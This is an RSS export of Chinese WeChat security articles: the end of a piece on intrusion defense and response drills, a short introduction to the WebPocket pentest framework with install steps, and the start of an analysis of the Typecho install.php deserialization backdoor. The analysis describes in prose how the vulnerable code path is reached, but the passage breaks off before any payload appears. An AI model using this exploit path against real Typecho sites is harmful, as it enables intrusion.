border-box;">应急演练主要是两个目的，一是验证处置能力是否有效。二是验证应急响应流程是否有效。</span></p><p cid="n145" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">首先是验证处置能力是否有效，比如：模拟黑客攻击Web，看WAF是否能发现Web被攻击，使用WAF进行拦截，验证WAF拦截的有效性、时效性等。主机侧和网络侧类似。</span></p><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">二是验证应急响应流程是否有效。比如：发现某类攻击，启动应急响应流程，关键人是否敢审批？我们之前在突击演练中就发现一些问题，当技术提交应急响应流程单以后，客户需要层层向上报批，一直报到大领导，才敢审批，这个过程持续了将近30分钟，应急响应的难度大大增加。这种情况就需要对流程进行优化。</span></p><h4 cid="n147" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.4.4 溯源反制</span></h4><p cid="n148" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">规划文章目录的时候，规划了溯源反制，但觉得内容太敏感，这里就省略了。</span></p><p cid="n149" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">如果真的感兴趣，建议是私聊我微信吧。</span></p><h2 cid="n150" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">4. 总结</span></h2><p cid="n151" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">这篇文章缝缝补补写了很久，内容主要围绕在反入侵和攻防的内容，因为这是我的职责所在。现在回头看，觉得写的挺不好的，有很多地方值得改进，不过还是分享出来供大家参考讨论。</span></p><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">最后发个小广告，我目前在默安科技主要负责010实验室，base北京，日常也会打红队项目，也会帮助客户做安全建设，欢迎感兴趣的小伙伴加入我们。</span></p><p cid="n153" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我的联系方式如下：</span></p><p cid="n154" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">微信：StrikerSb</span></p><p cid="n155" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">邮箱：wangsong#moresec.cn</span></p><p><br/></p>



<p><a href="2247483938">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=86d0b0d1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483938%26idx%3D1%26sn%3Db75db6428192ee4f8a0d519de79e92be%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 Jul 2022 11:47:00 +0800</pubDate>
    </item>
    <item>
      <title>WebPocket渗透测试辅助框架</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483932&amp;idx=1&amp;sn=004ab18823a64f69280ca5b56c975d81</link>
      <description>WebPocket 是一个轻量级渗透测试辅助框架，使用Python3.7构建。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2019-03-04 16:36</span> <span style="display: inline-block;"></span>
</p>

<p>WebPocket 是一个轻量级渗透测试辅助框架，使用Python3.7构建。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e0a9e147&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywWfUT4Dy0QhKEuSUJu4RgbNHjNMBABWwda644nYT9t6RFazas3WsIGZHFkOU6d4twQMuic1W38Vyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n6" mdtype="paragraph" class="md-end-block md-focus" style="box-sizing: border-box;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="strong" class="" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">WebPocket</span></strong></span><span md-inline="plain" class="md-expand" style="box-sizing: border-box;"> 是一个轻量级渗透测试辅助框架，使用Python3.7构建，整体思路借鉴自 </span><span md-inline="link" class=" md-link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">Metasploit</span></span><span md-inline="plain" style="box-sizing: border-box;"> 。</span></p><p cid="n7" mdtype="paragraph" class="md-end-block md-focus" style="box-sizing: border-box;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" class="md-expand" style="box-sizing: border-box;">包含 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">use</code></span><span md-inline="plain" style="box-sizing: border-box;">, </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">search</code></span><span md-inline="plain" style="box-sizing: border-box;">, </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">list</code></span><span md-inline="plain" style="box-sizing: border-box;">, </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">show</code></span><span md-inline="plain" style="box-sizing: border-box;">, </span><span md-inline="code" spellcheck="false" class="" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">exploit</code></span><span md-inline="plain" class="" style="box-sizing: border-box;"> 等命令，可通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">help</code></span><span md-inline="plain" style="box-sizing: border-box;">命令查看全部命令。</span></p><p cid="n8" mdtype="paragraph" class="md-end-block md-focus" style="box-sizing: border-box;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" class="md-expand" style="box-sizing: border-box;">本框架仅为沉淀安全研究成果，方便甲方公司及安全人员自测漏洞使用，请勿用于非授权的渗透测试，请使用者遵守《中华人民共和国网络安全法》，本人及公司不负任何连带法律责任</span></p><p cid="n8" mdtype="paragraph" class="md-end-block md-focus" style="box-sizing: border-box;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span md-inline="plain" class="md-expand" style="box-sizing: border-box;">项目地址：<span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"><a href="https://github.com/TuuuNya/WebPocket" target="_blank">https://github.com/TuuuNya/WebPocket</a></span></span></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(36, 41, 46);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">中文文档：<a href="https://webpocket.readthedocs.io/zh_CN/latest/" target="_blank">https://webpocket.readthedocs.io/zh_CN/latest/</a></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(36, 41, 46);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img class="" data-backh="438" data-backw="556" data-before-oversubscription-url="https://mmbiz.qpic.cn/mmbiz_jpg/zoq1kN9BaywWfUT4Dy0QhKEuSUJu4Rgb8DD59Gmp7Jg0iaEW9d2NJfukAQzzFj980oMXAqIjicfdiaCLhQ6YS6ibaQ/0?wx_fmt=jpeg" data-copyright="0" data-ratio="0.7882117882117882" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 100%;" data-type="jpeg" data-w="1001" src="https://wechat2rss.xlab.app/img-proxy/?k=03930c1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywWfUT4Dy0QhKEuSUJu4Rgb8DD59Gmp7Jg0iaEW9d2NJfukAQzzFj980oMXAqIjicfdiaCLhQ6YS6ibaQ%2F640%3Fwx_fmt%3Djpeg"/></p><h2 style="margin-top: 30px;margin-bottom: 10px;font-size: 30.6px;">下载 &amp;&amp; 安装</h2><p style="hyphens: auto;line-height: 1.4em;">首先克隆最新的代码到本地</p><pre style="overflow: auto hidden;font-family: Consolas, Menlo, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, monospace;font-size: 0.9em;background: rgb(238, 238, 238);padding: 7px 30px;margin-top: 15px;margin-bottom: 15px;line-height: 1.3em;"><span class="n" style="color: rgb(0, 0, 0);">git</span> <span class="n" style="color: rgb(0, 0, 0);">clone</span> <span class="n" style="color: rgb(0, 0, 0);">https</span><span class="p" style="color: rgb(0, 0, 0);font-weight: bold;">:</span><span class="o" style="color: rgb(88, 40, 0);">//</span><span class="n" style="color: rgb(0, 0, 0);">github</span><span class="o" style="color: rgb(88, 40, 0);">.</span><span class="n" style="color: rgb(0, 0, 0);">com</span><span class="o" style="color: rgb(88, 40, 0);">/</span><span class="n" style="color: rgb(0, 0, 0);">TuuuNya</span><span class="o" style="color: rgb(88, 40, 0);">/</span><span class="n" style="color: rgb(0, 0, 0);">WebPocket</span><br/></pre><p style="hyphens: auto;line-height: 1.4em;">然后安装Python所需的模块</p><pre style="overflow: auto hidden;font-family: Consolas, Menlo, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, monospace;font-size: 0.9em;background: rgb(238, 238, 238);padding: 7px 30px;margin-top: 15px;margin-bottom: 15px;line-height: 1.3em;"><span class="n" style="color: rgb(0, 0, 0);">pip</span> <span class="n" style="color: rgb(0, 0, 0);">install</span> <span class="n" style="color: rgb(0, 0, 0);">requirements</span><span class="o" style="color: rgb(88, 40, 0);">.</span><span class="n" style="color: rgb(0, 0, 0);">txt</span><br/></pre><p style="hyphens: auto;line-height: 1.4em;">如果要使用虚拟环境可自行安装virtualenv等Python虚拟环境。</p><p style="hyphens: auto;line-height: 1.4em;">执行如下命令，如果看到WebPocket的Banner则为安装完成。</p><pre style="overflow: auto hidden;font-family: Consolas, Menlo, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, monospace;font-size: 0.9em;background: rgb(238, 238, 238);padding: 7px 30px;margin-top: 15px;margin-bottom: 15px;line-height: 1.3em;">python WebPocket.py<br/>➜ python3 WebPocket.py<br/>WebPocket<br/>(✿ ♥‿♥)   WebPocket has 2 modules<br/>WebPocket &gt;<br/></pre><p><br/></p><p><br/></p><p>查看原文可进入Github项目页。</p><p>开源不易，点击“好看”帮忙传播，感谢！</p>



<p><a href="https://github.com/TuuuNya/WebPocket">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a645ed99&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483932%26idx%3D1%26sn%3D004ab18823a64f69280ca5b56c975d81%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Mar 2019 16:36:00 +0800</pubDate>
    </item>
    <item>
      <title>Typecho install.php 后门分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483927&amp;idx=1&amp;sn=1f393957089ee6aa5acfc5be5c4dbe39</link>
      <description>一不小心，博客就被黑了呢……</description>
      <content:encoded><![CDATA[<p>
原创 <span>王松_Striker</span> <span>2017-10-27 09:08</span> <span style="display: inline-block;"></span>
</p>

<p>一不小心，博客就被黑了呢……</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2f3a3a8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6gwYgYianyfQrG3mUZiagCzcKiapZFgibKsjAUcEP7xPIFNDbfb5tRicCMvg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(51, 51, 51);"></span></p><section style="margin-top: -1px;white-space: normal;min-height: 40px;visibility: visible;height: 40px;line-height: 40px;border-radius: 4px;text-align: center;box-shadow: rgb(190, 190, 190) 0px 3px 5px;background: rgb(238, 239, 239);"><span style="font-size: 14px;color: rgb(110, 109, 109);">点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><span style="color: rgb(51, 51, 51);"><br/></span></p><p><span style="color: rgb(51, 51, 51);">最早知道这个漏洞是在一个微信群里，说是</span><code style="box-sizing: border-box;">install.php</code><span style="color: rgb(51, 51, 51);">文件里面有个后门，看到别人给的截图一看就知道是个PHP反序列化漏洞，赶紧上服务器看了看自己的博客，发现自己也中招了，相关代码如下：</span><br/></p><p><span style="color: rgb(51, 51, 51);"><br/></span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="1198" data-copyright="0" style="" class="" data-ratio="0.24040066777963273" src="https://wechat2rss.xlab.app/img-proxy/?k=c2b41d71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6mnQiajh5lg34JbibVvcibGSbencMpJVue1NYafSectMibEnSxqoqKsDtcw%2F0%3Fwx_fmt%3Djpeg"/></p><p><span style="color: rgb(51, 51, 51);">然后果断在文件第一行加上了die:</span><span style="color: rgb(51, 51, 51);"></span><br/></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="872" style="" class="" data-ratio="0.11467889908256881" src="https://wechat2rss.xlab.app/img-proxy/?k=f9798b2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6XTUzlsQed51235icfxI7qxh4PzpH0E36LzOaFLDvWwaj0MIdYLN9emw%2F0%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">今天下午刚好空闲下来，就赶紧拿出来代码看看。</p><p><img data-s="300,640" data-type="png" data-w="928" style="width: 323px;height: 304px;" class="" data-ratio="0.9418103448275862" src="https://wechat2rss.xlab.app/img-proxy/?k=d51da266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6ODheBjVDia0e9aaay9wKRyoGOhGia8PwcrdZfVjRhsialBf2OROYOia5dQ%2F0%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);"></span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.225;font-size: 1.75em;font-weight: bold;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);">漏洞分析</h2><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">先从<code style="box-sizing: border-box;">install.php</code>开始跟，229~235行：</p><p><img data-s="300,640" data-type="png" data-w="1468" style="" class="" data-ratio="0.20299727520435967" src="https://wechat2rss.xlab.app/img-proxy/?k=1f1d0b3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6jaXGgoicHLqjnlVKOlrbSsjobbX3uKicETwibIviaMHN0dafJavREPD7Sg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);">要让代码执行到这里需要满足一些条件：</span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="1978" style="" class="" data-ratio="0.4044489383215369" src="https://wechat2rss.xlab.app/img-proxy/?k=d5e76f38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6nz7U2ZrnFq51NpVSke7Og9s83URqwYibadWV4476GNBXJhfecLDy16w%2F0%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">首先是<code style="box-sizing: border-box;">$_GET[&#39;finish&#39;]</code>不为空，其次是<code style="box-sizing: border-box;">referer</code>需要是本站，比较容易实现。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">继续跟反序列化的地方：</p><p><img data-s="300,640" data-type="png" data-w="1502" style="" class="" data-ratio="0.06657789613848203" src="https://wechat2rss.xlab.app/img-proxy/?k=e550844f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6QljtuJM1SCGKvicsamaANdM7cRGPWUfY5acXKl1pueSyRCC33v32npA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);"></span><span style="color: rgb(51, 51, 51);">首先使用</span><code style="box-sizing: border-box;">Typecho_Cookie</code><span style="color: rgb(51, 51, 51);">的</span><code style="box-sizing: border-box;">get</code><span style="color: rgb(51, 51, 51);">方法获取</span><code style="box-sizing: border-box;">__typecho_config</code><span style="color: rgb(51, 51, 51);">，</span><code style="box-sizing: border-box;">get</code><span style="color: rgb(51, 51, 51);">方法如下：</span></p><p><span style="color: rgb(51, 51, 51);"><br/></span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="1762" style="" class="" data-ratio="0.15664018161180476" src="https://wechat2rss.xlab.app/img-proxy/?k=29d8f84c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6xm573M5zHOUIICMnQ6FxrHxloicDGjhia562EFdHTsXibms4OUYqUY5MQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">可以看到给<code style="box-sizing: border-box;">$value</code>赋值这一行，如果<code style="box-sizing: border-box;">$_COOKIE</code>里面没有就从<code style="box-sizing: border-box;">$_POST</code>里面获取，所以我们测试漏洞的时候直接POST也是可以的，不用每次设置Cookie了。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">反序列化漏洞要利用势必离不开魔术方法，我之前收集了一些和PHP反序列化有关的PHP函数：</p><p><img data-s="300,640" data-type="png" data-w="1274" style="" class="" data-ratio="0.3579277864992151" src="https://wechat2rss.xlab.app/img-proxy/?k=3c03d761&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6icTbFFk5kFvWxYdgO2SjtZrQNeULqC3zmpicZfDufnqDkcMf7XEzY78w%2F0%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">下面这一行中，如果我们反序列化构造一个数组，其中<code style="box-sizing: border-box;">adapter</code>设置为一个类，那么就可以触发这个类的<code style="box-sizing: border-box;">__toString()</code>方法。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">然后我们全局搜索<code style="box-sizing: border-box;">__toString()</code>方法，发现两个有搞头的文件：</p><p><img data-s="300,640" data-type="png" data-w="884" style="" class="" data-ratio="0.13800904977375567" src="https://wechat2rss.xlab.app/img-proxy/?k=cab28efb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6x1go9z8QIqZYDSUMUXicWWzOKYEM2B7o4SZ94LibHlkFkiapSgjMn4YKw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);">我这里跟一下</span><code style="box-sizing: border-box;">Feed.php</code><span style="color: rgb(51, 51, 51);">，查看</span><code style="box-sizing: border-box;">Feed.php</code><span style="color: rgb(51, 51, 51);">的</span><code style="box-sizing: border-box;">__toString（）</code><span style="color: rgb(51, 51, 51);">方法，其中第290行：</span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="1902" style="" class="" data-ratio="0.19873817034700317" src="https://wechat2rss.xlab.app/img-proxy/?k=4d922270&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6mDdqrvHncibfHnEJvtHI6tmzSDLk2XFzgqibdMqgTVg89dU6tmADfJWg%2F0%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);"></span></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">其中调用了<code style="box-sizing: border-box;">$item[&#39;author&#39;]-&gt;screenName</code>，<code style="box-sizing: border-box;">$item</code>是<code style="box-sizing: border-box;">$this-&gt;_items</code>的foreach循环出来的，并且<code style="box-sizing: border-box;">$this-&gt;_items</code>是<code style="box-sizing: border-box;">Typecho_Feed</code>类的一个<code style="box-sizing: border-box;">private</code>属性。</p><p><img data-s="300,640" data-type="png" data-w="356" style="width: 292px;height: 284px;" class="" data-ratio="0.9719101123595506" 